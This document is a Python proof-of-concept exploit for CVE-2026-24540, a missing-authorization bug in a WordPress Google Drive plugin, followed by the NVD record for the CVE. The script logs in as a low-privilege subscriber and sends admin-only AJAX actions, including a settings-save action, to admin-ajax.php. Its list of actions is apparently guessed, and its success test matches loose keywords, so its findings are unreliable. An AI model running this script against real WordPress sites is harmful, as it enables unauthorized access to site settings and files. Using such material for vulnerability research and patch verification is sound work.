CVE-2026-24540

# CVE-2026-24540 PoC - Missing Authorization in Integrate Google Drive # Author: Security Researcher # Target: WordPress with Integrate Google Drive Plugin <= 1.5.6 import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2026-24540 """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Attempting to login as low-privilege user: {username}') login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Try to access admin-only plugin functionality # Common vulnerable AJAX actions in this plugin vulnerable_actions = [ 'igd_get_files', 'igd_get_drive_files', 'igd_preview_file', 'igd_sync_settings', 'igd_get_settings', 'igd_save_settings' ] ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') print('[*] Testing for unauthorized access to admin functions...') for action in vulnerable_actions: data = { 'action': action, 'nonce': '0000000000' # May not be required due to missing auth } try: response = session.post(ajax_url, data=data, timeout=10) # Check if we got admin-level data without proper authorization if response.status_code == 200: response_text = response.text.lower() # Indicators of successful unauthorized access if any(keyword in response_text for keyword in ['file', 'drive', 'settings', 'api', 'config']): print(f'[+] VULNERABLE! Action "{action}" returned data without proper authorization') print(f'[+] Response preview: {response.text[:500]}...') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing action {action}: {e}') print('[-] Target may not be vulnerable or plugin not installed') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2026-24540-poc.py <target_url> <username> <password>') print('Example: python cve-2026-24540-poc.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

{"cve": {"id": "CVE-2026-24540", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:10.203", "lastModified": "2026-04-28T15:16:11.843", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in princeahmed Integrate Google Drive integrate-google-drive allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Integrate Google Drive: from n/a through <= 1.5.6."}, {"lang": "es", "value": "Vulnerabilidad de Autorización faltante en Prince Integrate Google Drive integrate-google-drive permite explotar Niveles de Seguridad de Control de Acceso incorrectamente configurados. Este problema afecta a Integrate Google Drive: desde n/a hasta &lt;= 1.5.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/integrate-google-drive/vulnerability/wordpress-integrate-google-drive-plugin-1-5-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}